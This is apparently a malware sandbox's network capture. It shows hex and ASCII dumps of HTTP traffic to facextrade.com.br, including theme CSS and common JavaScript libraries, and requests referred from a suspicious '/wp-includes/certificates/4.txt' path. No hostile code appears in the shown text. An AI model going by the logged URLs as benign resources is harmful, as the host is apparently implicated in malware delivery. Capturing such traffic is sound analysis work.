3a 61 75 74 6f 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 61 66 61 66 61 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 30 30 70 78 29 20 7b 0a 09 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 31 32 31 30 70 78 3b 20 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 37 39 70 78 29 20 7b 0a 09 2e 63 68 65 72 72 79 2d 66 69 78 65 64 2d 6c 61 79 6f 75 74 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 20 6d 61 78 2d 77 69 64 74 68 3a 37 36 34 70 78 3b 20 7d 0a 7d 0a 2e 68 65 61 64 65 72 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 39 39 3b 0a 09 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 3b 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 44 44 44 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 3b 0a 7d 0a 2e 6c 6f 67 6f 20 7b Data Ascii: body { position:relative; }.ie8 body { min-width:980px; }@media (max-width: 767px) {body.cherry-fixed-layout {padding-left:0 !important;padding-right:0 !important;}}@media (max-width: 767px) {body.cherry-fixed-layout .header, body.cherry-fixed-layout .content-holder, body.cherry-fixed-layout .footer {padding-left:20px;padding-right:20px;}}body[class*="span"] {position:static;float:none;min-height:inherit;margin-left:inherit;}a { outline:none; }a:focus { outline:none; }.main-holder {position:relative;z-index:1;}.cherry-fixed-layout .main-holder {margin:0 auto;max-width:980px;width:auto;background:#fafafa;}@media (min-width: 1200px) {.cherry-fixed-layout .main-holder { max-width:1210px; }}@media (min-width: 768px) and (max-width: 979px) {.cherry-fixed-layout .main-holder { max-width:764px; }}.header {position:relative;z-index:99;padding:30px 0;border-bottom:1px solid #DDD;background-color:#eee;}.logo {
Aug 16, 2022 11:53:28.453918934 CEST	999	IN	Data Raw: 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 39 39 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 37 39 70 Data Ascii: position:relative;z-index:99;}@media (min-width: 768px) and (max-width: 979px) {.logo { width:60%; }}.logo_h__txt { margin:0; }.logo_link {color:#049cdb;text-decoration:none;}.logo_link:hover { text-decoration:none; }.logo_ta
Aug 16, 2022 11:53:28.453938961 CEST	1000	IN	Data Raw: 20 3e 20 6c 69 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 64 64 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 7d 0a 2e 73 66 2d 6d 65 6e 75 20 3e 20 6c 69 20 3e 20 61 20 7b 0a 09 70 61 64 64 69 6e 67 3a 31 30 70 78 20 Data Ascii: > li {background:#ddd;text-align:center;}.sf-menu > li > a {padding:10px 12px;border-top:1px solid #DDD;border-left:1px solid #fff;color:#13a;text-decoration:none;}.sf-menu li .desc {display:block;font-size:0.9em;}.sf-
Aug 16, 2022 11:53:28.453958035 CEST	1002	IN	Data Raw: 64 69 63 61 74 6f 72 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 30 3b 20 7d 0a 2e 73 66 2d 6d 65 6e 75 20 75 6c 20 61 3a 66 6f 63 75 73 20 3e 20 2e 73 66 2d 73 75 62 2d 69 6e 64 69 63 61 74 6f 72 2c 20 2e 73 66 2d Data Ascii: dicator { background-position:0 0; }.sf-menu ul a:focus > .sf-sub-indicator, .sf-menu ul a:hover > .sf-sub-indicator, .sf-menu ul a:active > .sf-sub-indicator, .sf-menu ul li:hover > a > .sf-sub-indicator, .sf-menu ul li.sfHover > a > .sf-sub
Aug 16, 2022 11:53:28.453977108 CEST	1003	IN	Data Raw: 5f 6c 6f 61 64 65 72 20 7b 0a 09 7a 2d 69 6e 64 65 78 3a 30 3b 0a 09 74 6f 70 3a 35 30 25 3b 0a 09 6c 65 66 74 3a 35 30 25 3b 0a 09 6d 61 72 67 69 6e 3a 2d 31 38 70 78 20 30 20 30 20 2d 31 38 70 78 3b 0a 09 77 69 64 74 68 3a 33 36 70 78 3b 0a 09 Data Ascii: _loader {z-index:0;top:50%;left:50%;margin:-18px 0 0 -18px;width:36px;height:36px;position:absolute;}.content-holder {position:relative;z-index:1;padding-bottom:50px;}#content { padding-top:40px; }#content.left {posi
Aug 16, 2022 11:53:28.453995943 CEST	1005	IN	Data Raw: 6d 3b 0a 09 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 3b 0a 09 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 3b 0a 7d 0a 2e 74 65 73 Data Ascii: m;-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;}.testimonial_bq {margin:0;padding:0;border:none;}.testimonial_content {overflow:hidden;background:url(../images/quotes.png) no-repeat 0 0;}@media (min-
Aug 16, 2022 11:53:28.454014063 CEST	1006	IN	Data Raw: 67 69 6e 3a 30 20 30 20 32 65 6d 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 31 65 6d 20 30 3b 0a 09 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 0a 09 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 44 44 44 3b 0a 09 62 6f 72 64 65 72 2d 62 Data Ascii: gin:0 0 2em 0;padding:1em 0;border:none;border-top:1px solid #DDD;border-bottom:1px solid #DDD;}.portfolio-meta-list li {margin:.5em 0 0 0;padding:0;border:none;background:none;list-style-type:none;text-transform:none;}
Aug 16, 2022 11:53:28.454032898 CEST	1007	IN	Data Raw: 72 6f 75 6e 64 3a 75 72 6c 28 2e 2e 2f 69 6d 61 67 65 73 2f 62 6c 61 63 6b 2d 6f 70 61 63 69 74 79 2d 36 30 2e 70 6e 67 29 3b 0a 7d 0a 2e 7a 6f 6f 6d 2d 69 63 6f 6e 3a 62 65 66 6f 72 65 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 Data Ascii: round:url(../images/black-opacity-60.png);}.zoom-icon:before {position:absolute;top:50%;left:50%;display:block;margin:-13px 0 0 -13px;width:25px;height:26px;background:url(../images/magnify-alt.png) 50% 50% no-repeat;conten
Aug 16, 2022 11:53:28.454054117 CEST	1009	IN	Data Raw: 65 72 61 62 6c 65 2d 70 6f 72 74 66 6f 6c 69 6f 20 2e 69 6d 61 67 65 2d 77 72 61 70 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 Data Ascii: erable-portfolio .image-wrap {position:relative;display:block;overflow:hidden;}.filterable-portfolio .image-wrap:before {top:50%;left:50%;margin:-16px 0 0 -16px;z-index:-1;}.filterable-portfolio .folio_loader {top:50%;lef
Aug 16, 2022 11:53:28.454073906 CEST	1010	IN	Data Raw: 73 20 65 61 73 65 3b 0a 7d 0a 2e 76 69 64 65 6f 5f 70 72 65 76 69 65 77 20 68 34 20 7b 0a 09 70 61 64 64 69 6e 67 3a 30 20 30 20 37 70 78 20 35 70 78 3b 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 44 44 44 3b Data Ascii: s ease;}.video_preview h4 {padding:0 0 7px 5px;border-bottom:1px solid #DDD;}.video_preview .post_author {float:left;padding:0 0 5px 5px;}.video_preview .post_date {float:right;padding:0 5px 5px 0;}.isotope-item { z-index:2
Aug 16, 2022 11:53:28.665429115 CEST	1017	IN	Data Raw: 63 6f 6c 6f 72 3a 23 46 41 46 41 46 41 3b 0a 7d 0a 2e 70 6f 73 74 2d 61 75 74 68 6f 72 5f 68 20 7b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 20 7d 0a 2e 70 6f 73 74 2d 61 75 74 68 6f 72 5f 6c 69 6e 6b 20 7b 20 6d 61 72 67 69 6e Data Ascii: color:#FAFAFA;}.post-author_h { margin-bottom:20px; }.post-author_link { margin-top:1.5em; }.post-author_gravatar {float:left;margin:0 20px 0 0;}.post-author_gravatar img {padding:5px;border:1px solid #DDD;background:#fff;}.p
Aug 16, 2022 11:53:28.883443117 CEST	1145	OUT	GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:29.095269918 CEST	1149	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:56 GMT Server: Apache ETag: "a534d0-1c1f-58592d497f080" Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT Content-Length: 7199 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383664 23796836 Age: 212 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 76 31 2e 32 2e 31 20 7c 20 28 63 29 20 32 30 30 35 2c 20 32 30 31 33 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 3d 3d 76 6f 69 64 20 30 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 6e 29 7b 76 61 72 20 72 3d 74 2e 63 6f 6e 73 6f 6c 65 3b 69 5b 6e 5d 7c 7c 28 69 5b 6e 5d 3d 21 30 2c 65 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 2e 70 75 73 68 28 6e 29 2c 72 26 26 72 2e 77 61 72 6e 26 26 21 65 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 72 2e 77 61 72 6e 28 22 4a 51 4d 49 47 52 41 54 45 3a 20 22 2b 6e 29 2c 65 2e 6d 69 67 72 61 74 65 54 72 61 63 65 26 26 72 2e 74 72 61 63 65 26 26 72 2e 74 72 61 63 65 28 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 74 2c 61 2c 69 2c 6f 29 7b 69 66 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 29 74 72 79 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 28 6f 29 2c 69 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 28 6f 29 2c 69 3d 65 7d 7d 29 2c 6e 7d 63 61 74 63 68 28 73 29 7b 7d 65 2e 5f 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 42 72 6f 6b 65 6e 3d 21 30 2c 74 5b 61 5d 3d 69 7d 76 61 72 20 69 3d 7b 7d 3b 65 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 3d 5b 5d 2c 21 65 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 74 2e 63 6f 6e 73 6f 6c 65 26 26 74 2e 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 26 26 74 2e 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 4a 51 4d 49 47 52 41 54 45 3a 20 4c 6f 67 67 69 6e 67 20 69 73 20 61 63 74 69 76 65 22 29 2c 65 2e 6d 69 67 72 61 74 65 54 72 61 63 65 3d 3d 3d 6e 26 26 28 65 2e 6d 69 67 72 61 74 65 54 72 61 63 65 3d 21 30 29 2c 65 2e 6d 69 67 72 61 74 65 52 65 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 3d 7b 7d 2c 65 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 2e 6c 65 6e 67 74 68 3d 30 7d 2c 22 42 61 63 6b 43 6f 6d 70 61 74 22 3d 3d 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6d 70 61 74 4d 6f 64 65 26 26 72 28 22 6a 51 75 65 72 79 20 69 73 20 6e 6f 74 20 63 6f 6d 70 61 74 69 62 6c 65 20 77 69 74 68 20 51 75 69 72 6b 73 20 4d 6f 64 65 22 29 3b 76 61 72 20 6f 3d 65 28 22 3c 69 6e 70 75 74 2f 3e 22 2c 7b 73 69 7a 65 3a 31 7d 29 2e 61 74 74 72 28 22 73 69 7a 65 22 29 26 26 65 2e 61 74 74 72 46 6e 2c 73 3d 65 2e 61 74 74 72 2c 75 3d 65 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 26 26 65 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 2e 67 65 74 7c 7c 66 75 6e 63 74 69 6f 6e Data Ascii: /! jQuery Migrate v1.2.1 \| (c) 2005, 2013 jQuery Foundation, Inc. and other contributors \| jquery.org/license /jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]\|\|(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with Quirks Mode");var o=e("<input/>",{size:1}).attr("size")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get\|\|function
Aug 16, 2022 11:53:29.098742962 CEST	1156	OUT	GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:29.310689926 CEST	1161	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:51:47 GMT Server: Apache ETag: "a55e6f-27f7-58592be2ea280" Last-Modified: Tue, 02 Apr 2019 21:23:06 GMT Content-Length: 10231 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383666 15664986 Age: 101 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 09 53 57 46 4f 62 6a 65 63 74 20 76 32 2e 32 20 3c 68 74 74 70 3a 2f 2f 63 6f 64 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 2f 73 77 66 6f 62 6a 65 63 74 2f 3e 20 0a 09 69 73 20 72 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 3c 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 3e 20 0a 2a 2f 0a 76 61 72 20 73 77 66 6f 62 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 44 3d 22 75 6e 64 65 66 69 6e 65 64 22 2c 72 3d 22 6f 62 6a 65 63 74 22 2c 53 3d 22 53 68 6f 63 6b 77 61 76 65 20 46 6c 61 73 68 22 2c 57 3d 22 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 2e 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 22 2c 71 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 73 68 6f 63 6b 77 61 76 65 2d 66 6c 61 73 68 22 2c 52 3d 22 53 57 46 4f 62 6a 65 63 74 45 78 70 72 49 6e 73 74 22 2c 78 3d 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 4f 3d 77 69 6e 64 6f 77 2c 6a 3d 64 6f 63 75 6d 65 6e 74 2c 74 3d 6e 61 76 69 67 61 74 6f 72 2c 54 3d 66 61 6c 73 65 2c 55 3d 5b 68 5d 2c 6f 3d 5b 5d 2c 4e 3d 5b 5d 2c 49 3d 5b 5d 2c 6c 2c 51 2c 45 2c 42 2c 4a 3d 66 61 6c 73 65 2c 61 3d 66 61 6c 73 65 2c 6e 2c 47 2c 6d 3d 74 72 75 65 2c 4d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 61 3d 74 79 70 65 6f 66 20 6a 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 21 3d 44 26 26 74 79 70 65 6f 66 20 6a 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 21 3d 44 26 26 74 79 70 65 6f 66 20 6a 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 21 3d 44 2c 61 68 3d 74 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 59 3d 74 2e 70 6c 61 74 66 6f 72 6d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 61 65 3d 59 3f 2f 77 69 6e 2f 2e 74 65 73 74 28 59 29 3a 2f 77 69 6e 2f 2e 74 65 73 74 28 61 68 29 2c 61 63 3d 59 3f 2f 6d 61 63 2f 2e 74 65 73 74 28 59 29 3a 2f 6d 61 63 2f 2e 74 65 73 74 28 61 68 29 2c 61 66 3d 2f 77 65 62 6b 69 74 2f 2e 74 65 73 74 28 61 68 29 3f 70 61 72 73 65 46 6c 6f 61 74 28 61 68 2e 72 65 70 6c 61 63 65 28 2f 5e 2e 2a 77 65 62 6b 69 74 5c 2f 28 5c 64 2b 28 5c 2e 5c 64 2b 29 3f 29 2e 2a 24 2f 2c 22 24 31 22 29 29 3a 66 61 6c 73 65 2c 58 3d 21 2b 22 5c 76 31 22 2c 61 67 3d 5b 30 2c 30 2c 30 5d 2c 61 62 3d 6e 75 6c 6c 3b 69 66 28 74 79 70 65 6f 66 20 74 2e 70 6c 75 67 69 6e 73 21 3d 44 26 26 74 79 70 65 6f 66 20 74 2e 70 6c 75 67 69 6e 73 5b 53 5d 3d 3d 72 29 7b 61 62 3d 74 2e 70 6c 75 67 69 6e 73 5b 53 5d 2e 64 65 73 63 72 69 70 74 69 6f 6e 3b 69 66 28 61 62 26 26 21 28 74 79 70 65 6f 66 20 74 2e 6d 69 6d 65 54 79 70 65 73 21 3d 44 26 26 74 2e 6d 69 6d 65 54 79 70 65 73 5b 71 5d 26 26 21 74 2e 6d 69 6d 65 54 79 70 65 73 5b 71 5d 2e 65 6e 61 62 6c 65 64 50 6c 75 67 69 6e 29 29 7b 54 3d 74 72 75 65 3b 58 3d 66 61 Data Ascii: /SWFObject v2.2 <http://code.google.com/p/swfobject/> is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> /var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.webkit\/(\d+(\.\d+)?).$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=fa
Aug 16, 2022 11:53:29.339822054 CEST	1172	OUT	GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:29.552025080 CEST	1204	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:56 GMT Server: Apache ETag: "a53560-301a-58592d4b67500" Last-Modified: Tue, 02 Apr 2019 21:29:24 GMT Content-Length: 12314 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383668 23796838 Age: 212 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 3b 77 69 6e 64 6f 77 2e 4d 6f 64 65 72 6e 69 7a 72 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 42 28 61 29 7b 6a 2e 63 73 73 54 65 78 74 3d 61 7d 66 75 6e 63 74 69 6f 6e 20 43 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 42 28 6e 2e 6a 6f 69 6e 28 61 2b 22 3b 22 29 2b 28 62 7c 7c 22 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 3d 3d 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 45 28 61 2c 62 29 7b 72 65 74 75 72 6e 21 21 7e 28 22 22 2b 61 29 2e 69 6e 64 65 78 4f 66 28 62 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 64 20 69 6e 20 61 29 7b 76 61 72 20 65 3d 61 5b 64 5d 3b 69 66 28 21 45 28 65 2c 22 2d 22 29 26 26 6a 5b 65 5d 21 3d 3d 63 29 72 65 74 75 72 6e 20 62 3d 3d 22 70 66 78 22 3f 65 3a 21 30 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 47 28 61 2c 62 2c 64 29 7b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 61 29 7b 76 61 72 20 66 3d 62 5b 61 5b 65 5d 5d 3b 69 66 28 66 21 3d 3d 63 29 72 65 74 75 72 6e 20 64 3d 3d 3d 21 31 3f 61 5b 65 5d 3a 44 28 66 2c 22 66 75 6e 63 74 69 6f 6e 22 29 3f 66 2e 62 69 6e 64 28 64 7c 7c 62 29 3a 66 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 48 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 61 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 61 2e 73 6c 69 63 65 28 31 29 2c 65 3d 28 61 2b 22 20 22 2b 70 2e 6a 6f 69 6e 28 64 2b 22 20 22 29 2b 64 29 2e 73 70 6c 69 74 28 22 20 22 29 3b 72 65 74 75 72 6e 20 44 28 62 2c 22 73 74 72 69 6e 67 22 29 7c 7c 44 28 62 2c 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 46 28 65 2c 62 29 3a 28 65 3d 28 61 2b 22 20 22 2b 71 2e 6a 6f 69 6e 28 64 2b 22 20 22 29 2b 64 29 2e 73 70 6c 69 74 28 22 20 22 29 2c 47 28 65 2c 62 2c 63 29 29 7d 66 75 6e 63 74 69 6f 6e 20 49 28 29 7b 65 2e 69 6e 70 75 74 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 3d 63 2e 6c 65 6e 67 74 68 3b 64 3c 65 3b 64 2b 2b 29 74 5b 63 5b 64 5d 5d 3d 63 5b 64 5d 69 6e 20 6b 3b 72 65 74 75 72 6e 20 74 2e 6c 69 73 74 26 26 28 74 2e 6c 69 73 74 3d 21 21 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 61 74 61 6c 69 73 74 22 29 26 26 21 21 61 2e 48 54 4d 4c 44 61 74 61 4c 69 73 74 45 6c 65 6d 65 6e 74 29 2c 74 7d 28 22 61 75 74 6f 63 6f 6d 70 6c 65 74 65 20 61 75 74 6f 66 6f 63 75 73 20 6c 69 73 74 20 70 6c 61 63 65 68 6f 6c 64 65 72 20 6d 61 78 20 6d 69 6e 20 6d 75 6c 74 69 70 6c 65 20 70 61 74 74 65 72 6e 20 72 65 71 75 69 72 65 64 20 73 74 65 70 22 2e 73 70 6c 69 74 28 22 20 22 29 29 2c 65 2e 69 6e 70 75 74 74 79 70 65 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 2c 66 2c 68 2c 69 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 69 3b 64 2b 2b 29 6b 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 66 3d 61 5b 64 5d 29 2c 65 3d 6b 2e 74 79 70 Data Ascii: ;window.Modernizr=function(a,b,c){function B(a){j.cssText=a}function C(a,b){return B(n.join(a+";")+(b\|\|""))}function D(a,b){return typeof a===b}function E(a,b){return!!~(""+a).indexOf(b)}function F(a,b){for(var d in a){var e=a[d];if(!E(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function G(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:D(f,"function")?f.bind(d\|\|b):f}return!1}function H(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");return D(b,"string")\|\|D(b,"undefined")?F(e,b):(e=(a+" "+q.join(d+" ")+d).split(" "),G(e,b,c))}function I(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)t[c[d]]=c[d]in k;return t.list&&(t.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),t}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,f,h,i=a.length;d<i;d++)k.setAttribute("type",f=a[d]),e=k.typ
Aug 16, 2022 11:53:29.555162907 CEST	1217	OUT	GET /wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
